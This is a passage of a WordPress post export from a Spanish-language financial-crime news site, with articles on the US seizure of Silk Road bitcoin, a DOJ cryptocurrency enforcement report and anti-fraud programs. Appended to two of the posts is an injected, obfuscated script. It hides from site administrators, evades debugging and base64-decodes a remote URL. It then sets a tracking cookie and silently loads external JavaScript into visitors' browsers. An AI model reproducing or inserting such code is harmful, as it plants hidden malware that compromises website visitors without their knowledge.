16:14:36","post_content":"https:\/\/youtu.be\/bHmZmpSdSjQ\n\n\u201cSilk Road era el mercado criminal en l\u00ednea m\u00e1s notorio de su \u00e9poca\u201d, dijo el fiscal federal de EE.UU. David L. Anderson. \u201cEl enjuiciamiento exitoso del fundador de Silk Road en 2015 dej\u00f3 abierta una pregunta de mil millones de d\u00f3lares. \u00bfA d\u00f3nde fue el dinero? La denuncia de decomiso de la semana pasada responde a esta pregunta abierta al menos en parte. Mil millones de d\u00f3lares de estos ingresos delictivos est\u00e1n ahora en posesi\u00f3n de los Estados Unidos\".\n\n<img width=\"640\" height=\"360\" src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Besa-Mafia-1024x576.png\" alt=\"\" srcset=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Besa-Mafia-1024x576.png 1024w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Besa-Mafia-300x169.png 300w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Besa-Mafia-768x432.png 768w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Besa-Mafia-750x422.png 750w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Besa-Mafia.png 1266w\" sizes=\"(max-width: 640px) 100vw, 640px\">\n\n\u201cSilk Road era el mercado criminal en l\u00ednea m\u00e1s notorio de su \u00e9poca\u201d, dijo el fiscal federal de EE.UU. David L. Anderson. \u201cEl enjuiciamiento exitoso del fundador de Silk Road en 2015 dej\u00f3 abierta una pregunta de mil millones de d\u00f3lares. \u00bfA d\u00f3nde fue el dinero? La denuncia de decomiso de la semana pasada responde a esta pregunta abierta al menos en parte. Mil millones de d\u00f3lares de estos ingresos delictivos est\u00e1n ahora en posesi\u00f3n de los Estados Unidos\".\n\nLa semana pasada, el Departamento de Justicia de EE.UU. present\u00f3 una demanda de decomiso civil contra la incautaci\u00f3n m\u00e1s grande de activos digitales por un valor total de m\u00e1s de US$1.000 millones. Los agentes de ley utilizaron herramientas y asistencia de la firma Chainalysis en la investigaci\u00f3n para identificar las billeteras de criptomonedas m\u00e1s grandes con conexiones a Silk Road, el primer mercado moderno de la dark web, lo que les permiti\u00f3 generar pistas a partir de la evidencia en la cadena de bloques. Este Bitcoin se transfiri\u00f3 sin problemas a una billetera controlada por el gobierno que, si se descomisa, se mover\u00e1 al Fondo de Confiscaci\u00f3n del Tesoro (TFF). El TFF financia programas innovadores de aplicaci\u00f3n de la ley, como herramientas de an\u00e1lisis de blockchain y capacitaci\u00f3n, que ayudar\u00e1n a los agentes a identificar y apoderarse de m\u00e1s fondos il\u00edcitos. A principios de este a\u00f1o, las agencias de aplicaci\u00f3n de la ley presentaron acciones de decomiso civil similares contra criptoactivos relacionados con el financiamiento del terrorismo y las actividades de pirater\u00eda de Corea del Norte.\n\n<img width=\"640\" height=\"360\" src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-1-1024x576.png\" alt=\"\" srcset=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-1-1024x576.png 1024w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-1-300x169.png 300w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-1-768x432.png 768w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-1-750x422.png 750w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-1.png 1280w\" sizes=\"(max-width: 640px) 100vw, 640px\">\n\n\u201cEl producto del delito no debe quedar en manos de los delincuentes. Gracias a la experiencia de la divisi\u00f3n de Investigaci\u00f3n Criminal de la Agencia de Rentas de EE.UU. (IRS-CI) en el seguimiento del dinero, pudimos rastrear los fondos il\u00edcitos\u201d, dijo Kelly R. Jackson, agente especial a cargo del IRS-CI. \"La Unidad de Delitos Cibern\u00e9ticos de Washington DC est\u00e1 especialmente especializada en rastrear transacciones de moneda virtual y continuaremos perfeccionando nuestras habilidades para combatir la actividad ilegal\".\n\nEl 3 de noviembre, el bot de Twitter @Whale_alert marc\u00f3 una gran transacci\u00f3n de 69,369 BTC, lo que llev\u00f3 a muchos a especular si la billetera inactiva conectada a Silk Road hab\u00eda sido pirateada o si el propietario ejecut\u00f3 la transacci\u00f3n. De hecho, esta fue la incautaci\u00f3n de los fondos por parte de la polic\u00eda cuando movieron el Bitcoin a la billetera controlada por el gobierno. Esta billetera ahora est\u00e1 etiquetada en los productos de Chainalysis como \"Fondos incautados de Silk Road Marketplace 2020-11-03\".\n\n<b><u>Antecedentes de Silk Road<\/u><\/b>\n\nSilk Road fue el primer mercado importante de redes oscuras digitales en el que los usuarios del sitio compraban y vend\u00edan bienes y servicios il\u00edcitos, incluidas las drogas ilegales. En 2013, las fuerzas del orden cerraron Silk Road y arrestaron a su propietario y operador, Ross Ulbricht, tambi\u00e9n conocido como \"Dread Pirate Roberts\".\n<figure>\n\t\t\t\t\t\t\t\t\t\t<img width=\"640\" height=\"308\" src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-1024x492.png\" alt=\"\" srcset=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-1024x492.png 1024w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-300x144.png 300w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-768x369.png 768w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-1536x738.png 1536w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-750x360.png 750w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-1140x548.png 1140w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity.png 1544w\" sizes=\"(max-width: 640px) 100vw, 640px\"><figcaption>Nota: Este gr\u00e1fico refleja el monto en US$ movidos y la participaci\u00f3n del volumen total asociado con Silk Road. FUENTE: Chainalysis<\/figcaption><\/figure>\nSeg\u00fan los datos de Chainalysis, Silk Road represent\u00f3 casi el 20% de la actividad econ\u00f3mica total de Bitcoin en su punto m\u00e1ximo en 2013. La actividad econ\u00f3mica de Silk Road alcanz\u00f3 un total de US$ 435 millones (calculado con base en el precio de Bitcoin en ese momento) con un pico de poco menos de US$ 40 millones en volumen mensual en septiembre de 2013.\n\nSeg\u00fan las acusaciones de la demanda de decomiso civil, desde 2011 hasta octubre de 2013, cuando fue confiscado por las fuerzas del orden, Silk Road era el mercado criminal m\u00e1s sofisticado y extenso de Internet. Era utilizado como un bazar del mercado negro en expansi\u00f3n donde los usuarios del sitio compraban y vend\u00edan bienes y servicios ilegales con regularidad. La denuncia alega que mientras estaba en funcionamiento, Silk Road fue utilizado por miles de traficantes de drogas y otros vendedores ilegales para distribuir cientos de kilogramos de drogas, as\u00ed como otros bienes y servicios ilegales a m\u00e1s de 100.000 compradores, y para lavar cientos de millones de d\u00f3lares derivados de estas transacciones ilegales.\n\nAl momento de ser desmantelado en 2013, Silk Road ten\u00eda casi 13.000 listas de sustancias ilegales y muchos m\u00e1s listados que ofrec\u00edan servicios ilegales, como pirater\u00eda inform\u00e1tica y servicios de sicarios, que generaban ingresos por ventas por un total de m\u00e1s de 9,5 millones de Bitcoins y comisiones por estas ventas por un total de m\u00e1s de 600.000 Bitcoins. La denuncia tambi\u00e9n alega que Silk Road utiliz\u00f3 un \"tumbler\" para procesar transacciones de Bitcoin de una manera dise\u00f1ada para frustrar el seguimiento de transacciones individuales a trav\u00e9s de la cadena de bloques de criptomonedas.\n\nEl creador de Silk Road, Ross Ulbricht, luego de su arresto en San Francisco, fue condenado en 2015 por un jurado federal de Nueva York por siete cargos criminales, incluida la conspiraci\u00f3n para distribuir narc\u00f3ticos y lavado de dinero.\n\n<b><u>C\u00f3mo las fuerzas del orden identificaron y confiscaron los fondos<\/u><\/b>\n\nA principios de este a\u00f1o, los agentes del IRS-CI analizaron las transacciones de bitcoins ejecutadas por Silk Road e identificaron 54 transacciones de bitcoins no detectadas previamente. Tambi\u00e9n descubrieron que un hacker, conocido como Individual X, rob\u00f3 esos fondos de Silk Road.\n\nEn el gr\u00e1fico de Chainalysis Reactor debajo, vemos que el dinero de Silk Road va a otra billetera (1BADzn\u2026), y a la billetera del individuo X (1HQ3Go\u2026). En 2015, el Individuo X liquid\u00f3 algunos de los fondos robados en BTC-e, un intercambio de criptomonedas que fue incautado por las autoridades estadounidenses en 2017 por lavado de dinero. Pero la mayor\u00eda de los fondos robados se mantuvieron en la billetera del Individuo X a medida que sub\u00eda el precio de Bitcoin, hasta la semana pasada, cuando fueron incautados y trasladados a la billetera del gobierno de EE. UU. Ahora valen m\u00e1s de US$1.000 millones.\n<figure>\n\t\t\t\t\t\t\t\t\t\t<img width=\"640\" height=\"274\" src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor-1024x438.png\" alt=\"\" srcset=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor-1024x438.png 1024w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor-300x128.png 300w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor-768x328.png 768w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor-750x321.png 750w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor-1140x487.png 1140w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor.png 1432w\" sizes=\"(max-width: 640px) 100vw, 640px\">\n\n<figcaption>A trav\u00e9s de Chainalysis Reactor se sigui\u00f3 el dinero de Silk Road a otra billetera (1BADzn\u2026), a la billetera del Individuo X (1HQ3Go\u2026).<\/figcaption><\/figure>\nEste es otro ejemplo m\u00e1s de c\u00f3mo los investigadores pueden aprovechar las caracter\u00edsticas de la criptomoneda para seguir el flujo de fondos il\u00edcitos. Si bien este caso es notable por el valor de los fondos incautados, tambi\u00e9n muestra que las agencias gubernamentales que invierten en el an\u00e1lisis de blockchain no solo pueden usar esa tecnolog\u00eda para la generaci\u00f3n proactiva de pistas y para apuntalar los casos, sino tambi\u00e9n para localizar y confiscar ganancias il\u00edcitas. Tambi\u00e9n demuestra que los ingresos generados en cualquier momento pueden incautarse a\u00f1os despu\u00e9s utilizando evidencia de blockchain.\n\nTambi\u00e9n es notable que la incautaci\u00f3n de mil millones de d\u00f3lares realizada la semana pasada fue enviada y confirmada en cuesti\u00f3n de minutos. A diferencia de otros casos que involucran moneda fiduciaria o propiedad personal, donde la transferencia de posesi\u00f3n del gobierno puede llevar d\u00edas o incluso meses, la criptomoneda aprovecha el poder de la tecnolog\u00eda para transferir fondos en cuesti\u00f3n de minutos.<script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script>","post_title":"Siete a\u00f1os despu\u00e9s del cierre de Silk Road, EE.UU. logra confiscar US$1.000 millones en Bitcoins","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"siete-anos-despues-del-cierre-de-silk-road-ee-uu-logra-confiscar-us1-000-millones-en-bitcoins","to_ping":"","pinged":"","post_modified":"2025-10-24 17:05:20","post_modified_gmt":"2025-10-24 21:05:20","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25324","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25320,"post_author":"16","post_date":"2020-11-10 11:16:53","post_date_gmt":"2020-11-10 15:16:53","post_content":"<p>A principios de este mes, el Departamento de Justicia de EE.UU., a trav\u00e9s de su grupo de trabajo <b>Cyber Digital Task Force<\/b>, public\u00f3 este informe de orientaci\u00f3n criptogr\u00e1fica titulado\u00a0<a style=\"background-color: #ffffff;\" href=\"https:\/\/www.justice.gov\/ag\/page\/file\/1326061\/download\" target=\"_blank\" rel=\"noopener noreferrer\">\"Criptomoneda: un marco de aplicaci\u00f3n\".<\/a><\/p><p>El grupo de trabajo, establecido en 2018, tiene la tarea de evaluar las amenazas planteadas por los avances tecnol\u00f3gicos. Entre otras cosas, un informe inicial destac\u00f3 a la criptomoneda como una amenaza emergente y recomend\u00f3 un examen m\u00e1s detenido. El informe es la versi\u00f3n m\u00e1s acabada del Departamento de Justicia sobre la criptomoneda hasta el momento y tambi\u00e9n sigue una tendencia global general en una mayor claridad en los marcos regulatorios y de aplicaci\u00f3n en torno a las criptomonedas.<\/p><p>A medida que el uso de la criptomoneda evoluciona y se expande, tambi\u00e9n lo har\u00e1n las oportunidades para cometer delitos y hacer da\u00f1o mediante la explotaci\u00f3n de la tecnolog\u00eda de las criptomonedas, los delincuentes se expanden y perfeccionan las t\u00e9cnicas dise\u00f1adas para evadir la detecci\u00f3n.<\/p><p>Los usos il\u00edcitos de las criptomonedas amenazan no solo la seguridad p\u00fablica, sino tambi\u00e9n la seguridad nacional. Por ejemplo, la criptomoneda puede proporcionar a las organizaciones terroristas una herramienta para eludir las instituciones financieras tradicionales con el fin de obtener, transferir y utilizar fondos para avanzar en sus misiones. El uso de la criptomoneda por parte de los terroristas puede representar las primeras gotas de una tormenta inminente de uso expandido que podr\u00eda desafiar la capacidad de Estados Unidos para interrumpir los recursos financieros que permitir\u00edan a las organizaciones terroristas ejecutar exitosamente sus misiones o expandir sus influencias.<\/p><p>Del mismo modo, la criptomoneda presenta una nueva oportunidad preocupante para que las personas y estados esquiven las sanciones internacionales.<\/p>\t\t\n\t\t\t\t\t\t\t<figure>\n\t\t\t\t\t\t\t\t\t\t<img width=\"640\" height=\"360\" src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping-1024x576.png\" alt=\"\" srcset=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping-1024x576.png 1024w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping-300x169.png 300w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping-768x432.png 768w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping-750x422.png 750w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping-1140x641.png 1140w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping.png 1280w\" sizes=\"(max-width: 640px) 100vw, 640px\" \/>\t\t\t\t\t\t\t\t\t\t\t<figcaption>Ejemplo de Chain Hopping<\/figcaption>\n\t\t\t\t\t\t\t\t\t\t<\/figure>\n\t\t<p><b><u>Desaf\u00edos<\/u><\/b><\/p><p>Este informe concluye en la Parte III con una discusi\u00f3n de los desaf\u00edos actuales que enfrenta el gobierno en la aplicaci\u00f3n de la criptomoneda, particularmente con respecto a los modelos comerciales (empleados por ciertos intercambios, plataformas, quioscos y casinos de criptomonedas) y a la actividad (como mixing\u201d and \u201ctumbling,\u201d \u201cchain hopping,\u201d y ciertos casos de arbitraje jurisdiccional) que pueden facilitar la actividad delictiva.<\/p><p>Esos desaf\u00edos se corresponden claramente con el conjunto m\u00e1s amplio de desaf\u00edos que presentan muchas tecnolog\u00edas emergentes para las agencias de aplicaci\u00f3n de la ley.<\/p><p><b><u>ICOs <\/u><\/b><\/p><p>Las tecnolog\u00edas relacionadas con Blockchain son complejas y dif\u00edciles de entender; por ejemplo, los m\u00e9todos para ejecutar delitos como los esquemas pump and dump (de bombeo y descarga) est\u00e1n cambiando y requieren que los investigadores se familiaricen con todo, desde c\u00f3mo se realizan las ofertas iniciales de monedas (Initial Coin Offerings, ICO) hasta c\u00f3mo las personas con conocimientos tecnol\u00f3gicos se comunican en aplicaciones de comunicaciones especializadas. Estas tecnolog\u00edas emergentes no solo son dif\u00edciles de asimilar, sino que los mercados relevantes tambi\u00e9n evolucionan r\u00e1pidamente. El auge de las ICO de hace unos a\u00f1os ha dado paso al crecimiento exponencial de los mercados de finanzas descentralizadas en los \u00faltimos meses, con todas las complejidades y dificultades asociadas para los agentes de ley.<\/p><p><b>Blockchain<\/b><\/p><p>La naturaleza global del ecosistema <i>blockchain<\/i> agrega una capa adicional de complejidad. El crimen organizado se ha extendido m\u00e1s all\u00e1 de las fronteras nacionales durante a\u00f1os, pero <i>blockchain<\/i> lleva esta globalizaci\u00f3n a otro nivel. Las partes realizan transacciones y transferencias entre continentes en cuesti\u00f3n de minutos, y la infraestructura digital de la propia cadena de bloques casi siempre trasciende los l\u00edmites territoriales. Adem\u00e1s de la dificultad, algunos de los intercambios de criptoactivos m\u00e1s grandes operan fuera de Estados Unidos, y muchos todav\u00eda requieren nada m\u00e1s que una direcci\u00f3n de correo electr\u00f3nico no verificada antes de permitir que una persona comience a operar.<\/p><p><b><u>Peer to Peer<\/u><\/b><\/p><p>Finalmente, las plataformas descentralizadas, los cambistas peer-to-peer (entre pares) y las criptomonedas con anonimato mejorado que utilizan cadenas de bloques privadas o no p\u00fablicas pueden ocultar a\u00fan m\u00e1s las transacciones financieras del escrutinio leg\u00edtimo. Los desaf\u00edos son importantes.<\/p>\t\t\n\t\t\t\t\t\t\t<figure>\n\t\t\t\t\t\t\t\t\t\t<img width=\"640\" height=\"351\" src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-Blockchain-Analysis-1024x561.png\" alt=\"\" srcset=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-Blockchain-Analysis-1024x561.png 1024w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-Blockchain-Analysis-300x164.png 300w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-Blockchain-Analysis-768x421.png 768w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-Blockchain-Analysis.png 1216w\" sizes=\"(max-width: 640px) 100vw, 640px\" \/>\t\t\t\t\t\t\t\t\t\t\t<figcaption>Ejemplo de una transacci\u00f3n il\u00edcita a trav\u00e9s del an\u00e1lisis de blockchain<\/figcaption>\n\t\t\t\t\t\t\t\t\t\t<\/figure>\n\t\t<p><b><u>Investigaciones y procesamientos<\/u><\/b><\/p><p>A pesar de los muchos desaf\u00edos, el Departamento de Justicia ha investigado y procesado delincuentes que han usado criptomonedas para facilitar u ocultar sus actividades il\u00edcitas, EE.UU. ha entablado acciones contra personas y empresas que no han cumplido con sus obligaciones legales para evitar actividades il\u00edcitas. En casos particulares, el Departamento de Justicia ha procedido contra la propia criptomoneda il\u00edcita, confiscando esos activos virtuales y elimin\u00e1ndolos del flujo del comercio internacional, independientemente de su capacidad para identificar o aprehender a los actores que los utilizaron.<\/p><p>El Departamento de Justicia se\u00f1al\u00f3 que est\u00e1 comprometido a fortalecer sus asociaciones clave con la promoci\u00f3n de experiencia y conocimiento en materia de aplicaci\u00f3n de la ley; fomentando la cooperaci\u00f3n con las autoridades estatales; mejorando la cooperaci\u00f3n internacional; promoviendo una regulaci\u00f3n internacional integral y coherente; y llevando a cabo actividades de educaci\u00f3n y divulgaci\u00f3n del sector privado.<\/p><p>Para promover la seguridad todas las partes interesadas, desde la industria privada hasta los reguladores, funcionarios y usuarios individuales de criptomonedas, deber\u00e1n tomar medidas para garantizar que la criptomoneda no se utilice como plataforma para la ilegalidad. Se\u00f1ala el Departamento de Justicia que para que la criptomoneda adquiera su verdadero potencial transformador, es imperativo que se aborden estos riesgos.<\/p>","post_title":"Informe del DOJ sobre Criptomonedas: un marco de aplicaci\u00f3n","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"informe-del-doj-sobre-criptomonedas-un-marco-de-aplicacion","to_ping":"","pinged":"","post_modified":"2020-11-10 11:21:26","post_modified_gmt":"2020-11-10 15:21:26","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25320","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25317,"post_author":"16","post_date":"2020-11-10 09:49:27","post_date_gmt":"2020-11-10 13:49:27","post_content":"<p><b><img src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/5Steps-Small-10NOV2020.jpg\" alt=\"\" width=\"232\" height=\"300\" \/><\/b><\/p><p><b>Por Terry Luttrell, CAMS-Audit<\/b><\/p><p>A medida que 2020 llega a su fin, las empresas y\u00a0comunidades de todo el mundo no pueden negar los efectos de la pandemia de COVID-19. La devastaci\u00f3n financiera, as\u00ed como la p\u00e9rdida de vidas y el deterioro de la salud, han dejado su sello. Hist\u00f3ricamente, los desastres naturales de cualquier tipo han sacado a los estafadores a la luz para exponerlos ante lo que parece ser un grupo interminable de v\u00edctimas vulnerables.<\/p><p>La Oficina Federal de Investigaciones de EE.UU. (FBI) se\u00f1ala que cuanto m\u00e1s catastr\u00f3fico es el evento, m\u00e1s activos son los estafadores. COVID-19 es posiblemente el peor desastre mundial en d\u00e9cadas, y se ha detectado un aumento del fraude a gran escala. Si bien algunos de los esquemas de fraude no son nuevos, se han transformado para aprovecharse de comunidades que ya se enfrentan a una situaci\u00f3n sin precedentes. \u00bfC\u00f3mo se est\u00e1 moviendo su organizaci\u00f3n para fortalecer su programa antifraude para mitigar estos mayores riesgos?<\/p><p>Seg\u00fan las estad\u00edsticas hist\u00f3ricas de desastres, el Departamento de Justicia de EE.UU. espera que el fraude generalizado aumente entre un 10% y un 12% debido al COVID-19. En una encuesta reciente realizada por la Asociaci\u00f3n de Examinadores de Fraude Certificados, el 77% de los miembros encuestados dijo que ha observado un aumento en el nivel general de fraude, y un tercio se\u00f1al\u00f3 que este aumento ha sido significativo. Eso es notablemente m\u00e1s alto que en mayo de 2020, cuando el 68% de los encuestados hab\u00eda visto un aumento en el fraude, y una cuarta parte calific\u00f3 el aumento como significativo.<\/p><p>La pandemia ha creado la necesidad de que las organizaciones examinen sus programas antifraude para determinar si existe una mayor exposici\u00f3n al riesgo que se deba abordar. La ayuda financiera que generalmente sigue a los desastres conduce, lamentablemente, a un mayor riesgo de fraude. Cuantos m\u00e1s fondos para ingresan a la econom\u00eda, ya sea por huracanes, incendios forestales o una pandemia, mayor ser\u00e1 la presencia de delincuentes. Por lo tanto, si bien COVID-19 es el detonante actual de la tendencia al alza del fraude, las organizaciones deben posicionarse para evitar aumentos futuros. Como individuos, tenemos experiencia; sabemos qu\u00e9 hacer para disuadir el fraude y mitigar el riesgo. Sin embargo, combatir los riesgos y anticipar la evoluci\u00f3n de los riesgos en el entorno actual requiere un esfuerzo concertado de las organizaciones para reforzar sus programas antifraude.<\/p><p><strong><a style=\"background-color: #ffffff; color: #993300; text-decoration: underline;\" href=\"https:\/\/www.abrigo.com\/l\/5-steps-to-stronger-fraud-mitigation\/?utm_source=acfcs&utm_medium=affiliate&utm_campaign=october_whitepaper\" target=\"_blank\" rel=\"noopener noreferrer\">Descargue el documento completo<\/a><\/strong>\u00a0(en ingl\u00e9s) para conocer los 5 pasos para mejorar su programa de detecci\u00f3n de fraude durante la pandemia COVID-19.<\/p><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script>","post_title":"5 pasos para un programa de detecci\u00f3n de fraude m\u00e1s s\u00f3lido","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"5-pasos-para-un-programa-de-deteccion-de-fraude-mas-solido","to_ping":"","pinged":"","post_modified":"2025-10-24 17:05:47","post_modified_gmt":"2025-10-24 21:05:47","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25317","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25307,"post_author":"16","post_date":"2020-11-02 16:18:07","post_date_gmt":"2020-11-02 20:18:07","post_content":"El coronavirus no discrimina y afecta a todos, independientemente de la clase social, situaci\u00f3n econ\u00f3mica, y un sin\u00famero de otros factores. Adem\u00e1s, lleg\u00f3 para quedarse por un largo tiempo y nos ha cambiado la forma de trabajo, cre\u00e1ndonos una \u201cnueva normalidad\u201d.\n\nEl COVID-19 ha generado la aparici\u00f3n de riesgos emergentes relacionados con toda clase de vulnerabilidades, desde las donaciones; hasta el aumento del contrabando, la adulteraci\u00f3n y la falsificaci\u00f3n de medicamentos e insumos m\u00e9dicos; el incremento de los delitos contra la administraci\u00f3n p\u00fablica como el fraude a subvenciones y la celebraci\u00f3n indebida de contratos; el aumento en la comisi\u00f3n de delitos contra el orden econ\u00f3mico social como el acaparamiento, el agiotaje y el p\u00e1nico econ\u00f3mico y el aumento en la comisi\u00f3n de delitos inform\u00e1ticos, solo por nombrar algunos\n\nhttps:\/\/youtu.be\/FJO5EozUmNU\n\n*Juan Pablo Rodr\u00edguez C\n\n**Ren\u00e9 M. Castro V\n\n Primero debemos ser claros en cuanto al t\u00e9rmino \u201ccompliance\u201d en Colombia, una aclaraci\u00f3n que tambi\u00e9n es v\u00e1lida para un amplio grupo de otros pa\u00edses (de Latinoam\u00e9rica y tambi\u00e9n fuera de la regi\u00f3n). La 